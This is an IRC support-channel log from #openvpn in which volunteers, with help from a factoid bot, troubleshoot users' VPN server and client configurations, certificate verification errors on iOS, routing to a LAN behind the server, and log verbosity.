01:52 <@krzee>  <krzee> swiftkey, then remove the redirect-gateway stuff and then connect to it via vpn ip after connecting to the vpn
01:52 <@krzee> so?
01:52 <@krzee> look at your server config
01:52 < swiftkey> would that do any harm ?
01:52 <@krzee> push "redirect-gateway def1"
01:52 <@krzee> do you know what that does?
01:52 < swiftkey> yes already commented that out
01:53 < swiftkey> erm nope
01:53 <@krzee> stop now and go to the manual
01:53 <@krzee> !man
01:53 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
01:53 <@krzee> read EVERY option you are using
01:53 <@krzee> try to know what you're doing
01:53 <@krzee> !walkthrough
01:53 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
01:56 <@krzee> and your line 16 is messed up
01:59 < swiftkey> erm
02:00 < swiftkey> which part?
02:00 <@krzee> the part where 6 options are on the same line
02:03 <@krzee> in your paste
02:05 < swiftkey> commented that all out
02:08 <@krzee> umm
02:08 <@krzee> it wasnt supposed to be commented out
02:08 <@krzee> just not supposed to all be on 1 line? i cant tell if you're using pastebin wrong or if your configs are screwed up from copy/pasting from the web
02:09 <@krzee> but really neither one should be happening
02:10 < swiftkey> okay
02:10 < swiftkey> just bare with me
02:10 < swiftkey> im not a linux guru :\ just trying to experiment
02:11 <@krzee> openvpn works on windows, and copy/pasting works the same there too
02:13 < swiftkey> http://pastie.org/7972581
02:18 < swiftkey> http://pastie.org/7972596
02:19 < swiftkey> i got it connected but not totally connected
02:19 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
02:19 <@krzee> remove kines 4 and 5
02:19 <@krzee> lines*
02:19 <@krzee> and 6 and 7
02:19 <@krzee> until you know what they do and why they are there
02:19 <@krzee> also, WTF
02:19 <@krzee> they werent in your earlier paste
02:20 < swiftkey> yes after you pasted something
02:20 < swiftkey> heh
02:20 <@krzee> i certainly didnt say anything that lead to all those options entering your config
02:21 <@krzee> #push &quot;redirect-gateway def1&quot;
02:21 <@krzee> wtf is that
02:21 < swiftkey> its supposed to be "
02:21 < swiftkey> maybe just browser issue
02:21 < swiftkey> :/
02:21 <@krzee> no kidding, wtf is up with your pastes!?
02:21 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
02:22 <@krzee> i will give 1 more try before i go to bed
02:22 < swiftkey> okay
02:22 < swiftkey> thanks for your kindness
02:22 < swiftkey> and patience
02:23 <@krzee> pastebin the configs you are using, correctly, and then DONT change them unless told
02:23 <@krzee> dont go entering random stuff that will break it
02:23 < swiftkey> thats the config that im using now
02:23 <@krzee>  <krzee> remove kines 4 and 5
02:23 < swiftkey> http://pastie.org/7972596
02:23 <@krzee> krzee> and 6 and 7
02:24 <@krzee> so if you're still using that config, you didnt listen.
02:24 <@krzee> now, paste both configs correctly.
02:24 < swiftkey> http://pastie.org/7972616
02:25 < swiftkey> http://pastie.org/7972619
02:25 < swiftkey> client
02:26 <@krzee> wtf you added that crap there too
02:27 <@krzee> STOP reading those lame walkthroughs
02:27 <@krzee> !walkthrough
02:27 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
02:27 <@krzee> you disabled forward security and mis-tuned your MTU
02:28 <@krzee> on your client you need to comment 7,8,9,15
02:28 <@krzee> then to your other problem
02:28 <@krzee> in windows openvpn must be start as administrator
02:30 < swiftkey> okay
02:30 < swiftkey> can you hold on ?
02:31 < swiftkey> erm
02:31 < swiftkey> when i right click there is no run as admininstrator in client.ovpn
02:32 -!- lilalinuxHamburg [znc@ist.deswahnsinns.de] has left #openvpn ["Leaving..."]
02:33 < swiftkey> it says failed
02:35 < swiftkey> ermm
02:35 < swiftkey> can i just use the cert
02:35 < swiftkey> with out login ?
02:37 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has quit [Ping timeout: 245 seconds]
02:37 < swiftkey> yes!
02:37 < swiftkey> i got it working!
02:38 < swiftkey> but can i remove the username and password ?
02:38 < swiftkey> ill just give them the cert files and thats it ?
02:51 < kisom> swiftkey: Yes, you can. Simply do not tell OpenVPN to ask for a password...
02:53 < kisom> That is, remove --auth-user-pass from your configuration.
02:54 < nohitall> krzee: morning <(
02:56 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds]
02:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:58 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
02:59 < swiftkey> thanks
03:06 < swiftkey> kisom
03:06 < swiftkey> i tried removing the line that you said in the client conf
03:07 < swiftkey> Options error: No client-side authentication method is specified.  You must use either --cert/--key, --pkcs12, or --auth-user-pass
03:07 < swiftkey> Use --help for more information.
03:07 < swiftkey> this is what it says
03:07 < swiftkey> i already have my cert files
03:08 <@krzee> if you didnt follow some lame walkthrough you wouldnt have password stuff
03:08 <@krzee> !howto
03:08 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
03:08 <@krzee> im done holding hands for the night
03:08 <@krzee> !sample
03:08 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
03:11 < swiftkey> okay
03:11 < swiftkey> but why i cannot access the lan ip ?
03:12 < swiftkey> my openvpn ip is 10.8.0.0 and my lan ip is 192.168.0.1
03:12 < swiftkey> when i get connected in my openvpn i cannot ping 192.168.0.1
03:12 <@krzee> connect to vpn ip
03:13 <@krzee> you cant push your lan to your client which is on the same lan
03:13 < swiftkey> i am connected now
03:13 <@krzee> if you dont understand why, then you should not run a vpn
03:13 < swiftkey> erm
03:13 < swiftkey> i using a different connection
03:14 <@krzee> then your client config was wrong
03:14  * krzee leaves
03:14 < swiftkey> okay
03:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
03:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: No route to host]
03:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:52 -!- mattock is now known as mattock_afk
03:59 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:14 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
04:28 -!- wickwire [~wickwire@a85-138-90-168.cpe.netcabo.pt] has joined #openvpn
04:28 < wickwire> Hi everyone
04:29 < wickwire> my openvpn client is getting the following info in ifconfig > inet addr:10.8.0.2  P-t-P:10.8.0.2  Mask:255.255.255.0
04:29 < wickwire> supposedly, server is 10.8.0.1 and client is 10.8.0.2
04:29 < wickwire> is this normal/a problem?
04:29 < wickwire> the vpn connection seems to be working fine though
04:36 < wickwire> commented the line topology subnet
04:36 < wickwire> seems to have changed it
04:37 < wickwire> server: inet addr:10.8.0.1  P-t-P:10.8.0.2  Mask:255.255.255.255 / client inet addr:10.8.0.6  P-t-P:10.8.0.5  Mask:255.255.255.255
04:38 < rob0> commented "topology subnet"? Why would you want to do that?
04:38 < rob0> !/30
04:38 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
04:38 < swiftkey> hello what would be the setup if i want to access my network ?
04:39 < swiftkey> like i can access my local ip e.g webserver
04:39 < rob0> !serverlan
04:39 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
04:42 < swiftkey> is this the same as tap ?
04:42 < swiftkey> can it work with tun as well ?
05:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
05:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:14 -!- mattock_afk is now known as mattock
05:29 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:32 -!- jzaw [~jzaw@community-wifi.dzki.co.uk] has quit [Ping timeout: 256 seconds]
05:35 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
05:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:53 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: ZNC - http://znc.in]
05:53 < swiftkey> any guides for openvpn installation?
05:53 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
06:00 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 246 seconds]
06:09 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
06:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
06:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:21 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:26 < nohitall> swiftkey: openvpn wiki?
06:27 < nohitall> swiftkey: manpages
06:51 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The alternative IRC client]
06:54 -!- kubbing [~kubbing@77.48.48.250] has joined #openvpn
07:01 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
07:22 -!- kubbing [~kubbing@77.48.48.250] has quit [Remote host closed the connection]
07:24 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
07:30 -!- Champi [Champi@rootshell.fr] has joined #openvpn
07:30 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
07:33 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:40 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
07:52 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
07:54 -!- francobruni [~francobru@host244-59-static.240-95-b.business.telecomitalia.it] has joined #openvpn
07:59 < francobruni> I'm on windows 7, openvpn 2.3.1: if I right-click on the tray icon, nothing pops up. Any hint?
08:00 < francobruni> I can just double click and the connection starts
08:30 -!- francobruni [~francobru@host244-59-static.240-95-b.business.telecomitalia.it] has quit [Quit: francobruni]
08:33 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
08:34 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:41 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 264 seconds]
08:48 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:55 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:02 -!- _quadDam1ge is now known as _quadDamage
09:05 -!- Aketzu_ is now known as Aketzu
09:05 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
09:07 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
09:10 -!- francobruni [~francobru@host244-59-static.240-95-b.business.telecomitalia.it] has joined #openvpn
09:14 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
09:15 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:16 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:16 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
09:17 -!- Xigam [~xbytez@xbytez.xxx] has quit [Write error: Connection reset by peer]
09:17 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 249 seconds]
09:17 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 249 seconds]
09:17 -!- backjlack_ [~quassel@79.115.63.238] has joined #openvpn
09:17 -!- backjlack_ [~quassel@79.115.63.238] has quit [Remote host closed the connection]
09:17 -!- TheWarden_ is now known as TheWarden
09:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 249 seconds]
09:18 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 249 seconds]
09:18 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 249 seconds]
09:18 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 249 seconds]
09:18 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 249 seconds]
09:18 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 249 seconds]
09:18 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 249 seconds]
09:18 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 249 seconds]
09:18 -!- clever [~clever@47.54.82.69] has quit [Ping timeout: 249 seconds]
09:18 -!- zamba [marius@flage.org] has quit [Ping timeout: 249 seconds]
09:18 -!- clever [~clever@47.54.82.69] has joined #openvpn
09:18 -!- lbft__ [~lbft@tools2.lbft.net] has joined #openvpn
09:18 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
09:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:18 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
09:18 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
09:18 -!- zamba [marius@flage.org] has joined #openvpn
09:18 -!- NotKruz [~hhhh@108.206.230.100] has joined #openvpn
09:19 -!- xTz is now known as Guest75237
09:19 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:32 -!- francobruni [~francobru@host244-59-static.240-95-b.business.telecomitalia.it] has left #openvpn []
09:47 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:12 -!- JAVACODER [~JAVACODER@2.190.45.21] has joined #openvpn
10:24 -!- raidz_away is now known as raidz
10:28 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
10:33 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
10:33 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:55 -!- gegheo [~gegheo@unaffiliated/gegheo] has joined #openvpn
10:55 < gegheo> ciao a tutti
10:56 < gegheo> scusate ho un dubbio atroce: mi connetto ad un host, ftp per download di documenti privati, ma è come se fosse un fantasma! non esiste nella rete, non si pinga! è possibile ciò?
10:57 < gegheo> che razza di magia è questa?
11:01 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:03 < gegheo> !welcome
11:03 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:03 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:04 < gegheo> !howto
11:04 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:06 <@krzee> english :)
11:06 <@krzee> i know thats italian, but i dont understand enough of it
11:08 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-hwcttuitctprnomi] has quit [Remote host closed the connection]
11:08 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-xxolsdlmrjlskvia] has quit [Remote host closed the connection]
11:08 -!- paccer [uid4847@gateway/web/irccloud.com/x-fvbqhawtjukhcptu] has quit [Remote host closed the connection]
11:08 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-hxjbqyjmdahkhxcb] has quit [Remote host closed the connection]
11:08 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-ziilyxwxwggafawy] has quit [Remote host closed the connection]
11:08 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-depknxkrnsnrarqq] has quit [Remote host closed the connection]
11:08 < gegheo> ok sorry
11:08 < gegheo> :)
11:09 <@krzee> no problem
11:10 < gegheo> why if i ping a host the result is loss, but the host is up? sorry for my bad english!
11:10 <@krzee> !goal
11:10 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:10 < rob0> Often that could be a firewall.
11:10 <@krzee> are you trying to reach the internet over the vpn?
11:11 < gegheo> no..
11:11 < gegheo> sorry..
11:11 < gegheo> i m busy
11:12 <@krzee> oh now i think i understood the italian.  your can connect to a host with FTP but not with ping?
11:12 <@krzee> if so it is what rob0 said, firewall
11:12 <@krzee> you can*
11:24 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
11:25 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:27 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Killed (idoru (Spam is off topic on freenode.))]
11:33 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:33 -!- mode/#openvpn [+v s7r] by ChanServ
11:46 -!- lbft__ is now known as lbft
11:46 -!- lbft [~lbft@tools2.lbft.net] has quit [Changing host]
11:46 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
12:03 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Excess Flood]
12:04 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
12:04 -!- patelx [chirayu@voyager.chirayu.net] has joined #openvpn
12:05 -!- wickwire [~wickwire@a85-138-90-168.cpe.netcabo.pt] has quit [Ping timeout: 256 seconds]
12:09 -!- takamichi [~takamichi@217.23.15.212] has quit [Quit: takamichi]
12:09 -!- mode/#openvpn [+v patelx] by krzee
12:10 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 256 seconds]
12:26 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:38 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-vetojjjqrisfnrph] has joined #openvpn
12:39 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:45 -!- midacts [~midacts@207.59.77.254] has quit [Read error: Connection reset by peer]
12:46 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
12:46 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-fhvcrggkllqjibom] has joined #openvpn
12:47 -!- paccer [uid4847@gateway/web/irccloud.com/x-kebamvrxlibtchuj] has joined #openvpn
12:58 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-thjptwxafntcsxkr] has joined #openvpn
13:00 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-nojetzxtaowjagad] has joined #openvpn
13:09 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-gsigglbxhcfoceuq] has joined #openvpn
13:12 -!- datruth [~datruth@ec2-50-16-65-165.compute-1.amazonaws.com] has joined #openvpn
13:13 < datruth> How can I determine whats wrong with my CA cert in iOS configuration when the CA cert works via the regular openvpn connection?
13:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:24 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: Peace.]
13:24 -!- mete [~mete@mete.shell.la] has quit [Read error: Operation timed out]
13:26 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:27 -!- datruth [~datruth@ec2-50-16-65-165.compute-1.amazonaws.com] has quit [Quit: Lost terminal]
13:34 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
13:44 -!- datruth [~datruth@cpe-75-186-95-213.cinci.res.rr.com] has joined #openvpn
13:45 < datruth> How can I CA cert fail a signature check from an apple device but not fail on a normal windows /linux cnnection?
13:45 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-nojetzxtaowjagad] has quit [Ping timeout: 260 seconds]
13:50 -!- mete [~mete@mete.shell.la] has joined #openvpn
14:02 -!- JAVACODER [~JAVACODER@2.190.45.21] has quit [Ping timeout: 256 seconds]
14:05 < datruth> ello?
14:11 -!- datruth [~datruth@cpe-75-186-95-213.cinci.res.rr.com] has quit [Changing host]
14:11 -!- datruth [~datruth@unaffiliated/datruth] has joined #openvpn
14:12 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:17 < datruth> this has been super frustrating
14:19 <@krzee> try putting them in-line
14:19 <@krzee> !inline
14:19 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
14:20 < datruth> krzee: it is in inline
14:20 <@krzee> so check that link to see if you did it right
14:20 < datruth> krzee: I have
14:20 -!- JAVACODER [~JAVACODER@2.190.38.57] has joined #openvpn
14:20 <@krzee> then why do you say its the ca file?
14:21 <@krzee> whats the error?
14:21 < datruth> krzee: reading the verbose error log and I determined it was the CA cert
14:21 <@krzee> show me
14:22 <@krzee> and show me the error on the other side of the connection as well
14:22 <@krzee> whole log is better
14:22 < datruth> Yeah comming from an ipad not sure how I'll do that one
14:23 <@krzee> im sure you'll figure it out
14:23 < datruth> in time
14:23 -!- tytdfn [~naked_fer@ool-457ec53d.dyn.optonline.net] has joined #openvpn
14:23 <@krzee> theres not many options in that app from what i remember
14:23 <@krzee> so finding the one you need should be rather easy if its there
14:23 <@krzee> and sending logs is an option there
14:24 < datruth> What I can say is I know the app does work as I have it configured for my other vpn servers.
14:24 <@krzee> as do i, i wrote the link at #2 in !inline
14:24 < tytdfn> !welcome
14:24 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:24 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:24 <@krzee> but those devices are in another country now
14:29 -!- Holister [~holister@2602:304:cd91:4220:4261:86ff:fecb:fcb3] has joined #openvpn
14:30 < datruth> There is no way to get openvpn to skip a verification check?
14:30 < Holister> I had a servers certificate expire, after fixing the cert and restarting the service, new clients are able to connect, but the existing ones are repeatedly failing... is there any way to get the existing clients to successfully reconnect without access to the clients themselves?
14:34 -!- JAVACODER [~JAVACODER@2.190.38.57] has quit [Ping timeout: 252 seconds]
14:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 264 seconds]
14:40 < tytdfn> !ask
14:40 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
14:41 < datruth> i hate to setup a vpn route to another server just to get to that server ;/
14:43 < datruth> Finally figured out how to send the log
14:43 < datruth> I'll post everything soon
14:43 < tytdfn> !paste
14:43 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
14:50 < tytdfn> Hello! I'm trying to setup an openvpn client vie the linux command line. I'm getting to the point where the tun device is setup but I cannot send any traffic through it. I try to ping google.com but ping shows no output. Here's what I have tried in more detail https://gist.github.com/anonymous/c8406cf67e1d7efe11e9
14:50 <@vpnHelper> Title: What I have tried so far to setup the openvpn client (at gist.github.com)
14:51 < datruth> krzee: www.dpaste.com/1202807/
14:51 < datruth> krzee: no errors on the server side aside from the key negoation failure (since i'm halted at the CA cert) thats normal I guess
14:53 < datruth> Am I correct in saying my ca cert is the problem ?
15:02 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
15:05 < pekster> Holister: You did something wrong then; did you create a completely new CA and blow away your old PKI? If that's what you did, I hope you either have backups or can replace keypairs on all of your clients
15:08 < pekster> tytdfn: You'll find no one here wants to support VPN providers (I'm not paid by them to fix problems their customers have, and it's unfair to ask anyone here to do that.) If there's an error, paste the logs. If it connects but "doesn't do what you expect" then you need to talk to the owner of the server since I have no clue how someone else has set up openvpn
15:13 < tytdfn> Sorry I should have mentioned this before! I got it working with their instructions (e.g. on my desktop but I want to be able to start the VPN client remotely hence by the command line). I'm 100% percent positive that the error is with me and not them. If people still don't want to offer help then I understand, its okay
15:14 < Holister> peks: no nothing changed with the CA...just renewed the server cert. As I said clients can reconnect just fine if openvpn is restarted, but without restarting, for some reason it tries to resume an existing conversation (even though it's TCP reconnect), which I can see when I turn on verb 9 and the clients reset by peer after the first flood of crypted packets
15:15 < pekster> tytdfn: No clue. Is there an error/warning you get in the logs (you failed to post any.) If not, there are many rasons why it might be broken, and without knowing the server config and often things like firewall and routing setup, it's impossible to say
15:16 < pekster> Holister: You said the old ones are failing. How about providing some logs?
15:16 < pekster> !logs
15:16 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:17 < datruth> krzee still there?
15:21 < tytdfn> !logs
15:21 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:21 < tytdfn> !logfile
15:21 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
15:25 < datruth> darn
15:25 < datruth> Does anyone get a read on the error from the site I posted earlier?
15:31 < datruth> What if I create a new CA would that fix the issue?
15:32 < pekster> datruth: The PolarSSL errors are less specific than the openssl ones: it's complaining about a generic verification failed, but not telling you why
15:32 < Holister> pekster: http://pastebin.ca/2384030
15:33 < pekster> datruth: also, use of verb levels more than 5 are worthless unless you are a developer debugging OpenVPN (or specifically providing logs to a developer after having been asked for debug logs.) Even verb 5 won't help unless you have a firewall problem as it'll spam RWrw in your logs
15:35 -!- acidchil1 [yesplz@2600:3c01::f03c:91ff:fe96:1b54] has quit [Quit: brb]
15:35 < datruth> pekster: generic verification failure? Is this fixable? I used verb 8 and the same information on the site was available on the ipad.
15:35 < pekster> Never use verb higher than 5 unless you are 1) a develpper and 2) know what you're doing
15:35 < pekster> Simple as that
15:36 < pekster> I actually authored a code change in recent versions that complains at you if you use verb levels 7 or more without building a special debug build to make it useful
15:37 < datruth> pekster: great so what should I do use verb 3 and re-post?
15:37 < pekster> Holister: You have the same problem. Your log is unreadable and I'm not going to look at it. Please use verb 4 on your client and re-post
15:38 < tytdfn> pekster: I attached the logfile to this gist. Thanks for your help so far :) https://gist.github.com/anonymous/3d6843b99574e302b7c0
15:38 <@vpnHelper> Title: What I have tried with the log attached (at gist.github.com)
15:38 < pekster> Well, sort of. Holister, I happened to scroll to the bottom and noticed line 98: your connection was reset by the remote end
15:38 < pekster> Holister: So it's just the server-side verification failure you have. Try verifying that the client is using a cert signed by the CA the server is expecting
15:39 < pekster> Holister: ie: take the server cert, and manually perform a verification against the same CA cert the server is using (not the client, but the server)
15:40 < pekster> tytdfn: Nothing is wrong with that
15:41 < datruth> verb 4 provides the same information as I posted in the site
15:41 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-hurvwcwgtguogvcq] has joined #openvpn
15:41 -!- nebula_ [~cp@bur-inet-pa-1.disney.com] has joined #openvpn
15:42 -!- nebula_ [~cp@bur-inet-pa-1.disney.com] has quit [Client Quit]
15:42 < pekster> Oh, that's not a higher verb level: that's actually not even openvpn
15:42 < pekster> !as
15:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:43 < datruth> pekster: is that for me?
15:44 < pekster> Yes. that output is not what openvpn generates
15:44 < pekster> All the crap like lines 24-31
